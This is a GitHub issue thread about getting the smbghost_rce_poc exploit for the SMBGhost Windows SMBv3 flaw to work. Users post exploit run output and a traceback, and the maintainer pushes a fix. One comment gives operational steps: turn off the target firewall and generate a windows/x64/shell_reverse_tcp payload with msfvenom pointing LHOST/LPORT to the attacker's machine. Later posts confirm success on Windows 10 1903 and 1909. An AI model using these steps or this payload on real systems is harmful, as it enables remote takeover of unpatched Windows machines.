Exploit doesnt work about smbghost_rce_poc HOT 8 CLOSED

I have this problem,so what should I do

from smbghost_rce_poc.

I have this problem,so what should I do

Unfortunately i couldn't find a solution yet :/

from smbghost_rce_poc.

nvm, it's a bug. i changed the hal heap search and forgot to update that case. will post a fix shortly

from smbghost_rce_poc.

fix for this error has been pushed

from smbghost_rce_poc.

Thank you i have another error now:

python exploit.py -ip 192.168.100.146
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7e380000000
[+] found PML4 self-ref entry 149
[+] found HalpInterruptController at fffff7e3800015b8
Traceback (most recent call last):
  File "exploit.py", line 465, in <module>
    do_rce(args.ip, args.port)
  File "exploit.py", line 428, in do_rce
    search_hal_heap(ip, port)
  File "exploit.py", line 356, in search_hal_heap
    PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]
struct.error: unpack requires a buffer of 8 bytes

from smbghost_rce_poc.

OK ppl, if you are reading this dont forget to

1. close won 10 b1903/1909 firewall
2. run msfvenom as:
   msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.113.121 LPORT=31337 -f python and change the USER_PAYLOAD with this shellcode.

This code now works on b1903.

And i cannot make it exploit on 1909 machines.

from smbghost_rce_poc.

Ok, when i use the exploit on b1909 machines, python code works normally (i mean no error output). But the b1909 machine crashes and reboots.

from smbghost_rce_poc.

now works on 1909 thanks

from smbghost_rce_poc.